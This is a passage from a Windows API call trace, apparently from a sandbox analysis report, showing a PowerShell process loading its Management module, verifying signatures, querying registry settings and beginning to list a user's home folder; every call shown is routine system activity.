nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0160.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2dee8) returned 1 [0160.041] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.041] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.042] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.042] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de80) returned 1 [0160.042] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e144 | out: lpFileInformation=0x5a2e144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0160.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2de7c) returned 1 [0160.043] CoTaskMemAlloc (cb=0x10) returned 0x3966e0 [0160.043] CoTaskMemAlloc (cb=0x10) returned 0x3e8278 [0160.043] CoTaskMemAlloc (cb=0xf0) returned 0x3cfdb0 [0160.043] CoTaskMemAlloc (cb=0x30) returned 0x3bc588 [0160.043] WinVerifyTrust () returned 0x800b0100 [0160.054] CoTaskMemFree (pv=0x3966e0) [0160.055] CoTaskMemFree (pv=0x3bc588) [0160.055] CryptCATHandleFromStore () returned 0x36cc80 [0160.055] WTHelperGetProvSignerFromChain () returned 0x0 [0160.055] CoTaskMemAlloc (cb=0x10) returned 0x3966e0 [0160.055] CoTaskMemAlloc (cb=0x30) returned 0x3bc588 [0160.055] WinVerifyTrust () returned 0x0 [0160.055] CoTaskMemFree (pv=0x3bc588) [0160.055] CoTaskMemFree (pv=0x3966e0) [0160.055] CoTaskMemFree (pv=0x3cfdb0) [0160.055] CoTaskMemFree (pv=0x3e8278) [0160.067] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0160.068] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0160.068] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.068] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.068] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0160.068] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0160.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0160.113] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0160.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d93c) returned 1 [0160.113] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5a2dc00 | out: lpFileInformation=0x5a2dc00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0160.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d938) returned 1 [0160.113] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0160.113] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0160.113] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a2d8b0, nSize=0xc9 | out: lpBuffer="") returned 0xc5 [0160.116] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0160.117] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0160.117] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 [0160.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d744) returned 1 [0160.117] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2da08 | out: lpFileInformation=0x5a2da08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0160.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d740) returned 1 [0160.120] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0160.123] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0160.125] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x60 [0160.125] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x60, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5f [0160.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d744) returned 1 [0160.125] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2da08 | out: lpFileInformation=0x5a2da08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0160.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d740) returned 1 [0160.129] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0160.132] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0160.133] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0160.133] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x59 [0160.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d744) returned 1 [0160.134] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2da08 | out: lpFileInformation=0x5a2da08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0160.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d740) returned 1 [0160.138] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0160.144] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0160.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0160.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0160.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d744) returned 1 [0160.146] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2da08 | out: lpFileInformation=0x5a2da08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0160.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d740) returned 1 [0160.150] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0160.459] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0160.459] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0160.459] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0160.459] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0160.459] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0160.460] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0160.995] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e7d8 | out: phkResult=0x5a2e7d8*=0x418) returned 0x0 [0160.996] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e7f8, lpData=0x0, lpcbData=0x5a2e7f4*=0x0 | out: lpType=0x5a2e7f8*=0x1, lpData=0x0, lpcbData=0x5a2e7f4*=0x56) returned 0x0 [0160.996] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e7f8, lpData=0x22ae5d0, lpcbData=0x5a2e7f4*=0x56 | out: lpType=0x5a2e7f8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e7f4*=0x56) returned 0x0 [0160.996] RegCloseKey (hKey=0x418) returned 0x0 [0160.996] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e7d8 | out: phkResult=0x5a2e7d8*=0x418) returned 0x0 [0160.997] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e7f8, lpData=0x0, lpcbData=0x5a2e7f4*=0x0 | out: lpType=0x5a2e7f8*=0x1, lpData=0x0, lpcbData=0x5a2e7f4*=0x56) returned 0x0 [0160.997] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e7f8, lpData=0x22ae8e4, lpcbData=0x5a2e7f4*=0x56 | out: lpType=0x5a2e7f8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e7f4*=0x56) returned 0x0 [0160.997] RegCloseKey (hKey=0x418) returned 0x0 [0160.997] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e7d8 | out: phkResult=0x5a2e7d8*=0x418) returned 0x0 [0160.998] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e7f8, lpData=0x0, lpcbData=0x5a2e7f4*=0x0 | out: lpType=0x5a2e7f8*=0x1, lpData=0x0, lpcbData=0x5a2e7f4*=0x56) returned 0x0 [0160.998] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e7f8, lpData=0x22aebec, lpcbData=0x5a2e7f4*=0x56 | out: lpType=0x5a2e7f8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e7f4*=0x56) returned 0x0 [0160.998] RegCloseKey (hKey=0x418) returned 0x0 [0161.002] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e7d8 | out: phkResult=0x5a2e7d8*=0x418) returned 0x0 [0161.002] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e7f8, lpData=0x0, lpcbData=0x5a2e7f4*=0x0 | out: lpType=0x5a2e7f8*=0x1, lpData=0x0, lpcbData=0x5a2e7f4*=0x56) returned 0x0 [0161.002] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e7f8, lpData=0x22aef00, lpcbData=0x5a2e7f4*=0x56 | out: lpType=0x5a2e7f8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e7f4*=0x56) returned 0x0 [0161.005] RegCloseKey (hKey=0x418) returned 0x0 [0161.007] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e824 | out: phkResult=0x5a2e824*=0x418) returned 0x0 [0161.007] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e844, lpData=0x0, lpcbData=0x5a2e840*=0x0 | out: lpType=0x5a2e844*=0x1, lpData=0x0, lpcbData=0x5a2e840*=0x56) returned 0x0 [0161.008] RegQueryValueExW (in: hKey=0x418, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e844, lpData=0x22af1fc, lpcbData=0x5a2e840*=0x56 | out: lpType=0x5a2e844*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e840*=0x56) returned 0x0 [0161.008] RegCloseKey (hKey=0x418) returned 0x0 [0161.009] CoTaskMemAlloc (cb=0x20c) returned 0x5c4cca8 [0161.009] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x5c4cca8 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0161.011] CoTaskMemFree (pv=0x5c4cca8) [0161.011] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0161.011] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0161.304] EtwEventActivityIdControl () returned 0x0 [0161.304] SetEvent (hEvent=0x34c) returned 1 [0161.304] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a2eb80*=0x34c, lpdwindex=0x5a2e9a4 | out: lpdwindex=0x5a2e9a4) returned 0x0 [0161.306] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb0c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0161.308] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0161.308] GetFileType (hFile=0xb) returned 0x2 [0161.309] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x5a2ecb8 | out: lpMode=0x5a2ecb8) returned 1 [0161.310] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ec78 | out: lpConsoleScreenBufferInfo=0x5a2ec78) returned 1 [0161.311] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ec78 | out: lpConsoleScreenBufferInfo=0x5a2ec78) returned 1 [0161.499] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebcc, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0161.622] EtwEventActivityIdControl () returned 0x0 [0161.622] EtwEventActivityIdControl () returned 0x0 [0161.622] EtwEventActivityIdControl () returned 0x0 [0161.693] EtwEventActivityIdControl () returned 0x0 [0161.693] EtwEventActivityIdControl () returned 0x0 [0161.693] EtwEventActivityIdControl () returned 0x0 [0161.698] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0161.700] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0161.701] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0161.701] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0161.701] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0161.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ec10) returned 1 [0161.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0161.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0161.709] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\*" (normalized: "c:\\users\\keecfmwgj\\*"), lpFindFileData=0x5a2e9c0 | out: lpFindFileData=0x5a2e9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0161.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ec10) returned 1 [0161.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0161.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0161.710] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\*" (normalized: "c:\\users\\keecfmwgj\\*"), lpFindFileData=0x5a2e9c0 | out: lpFindFileData=0x5a2e9c0*(dwFileAttributes=0x10, 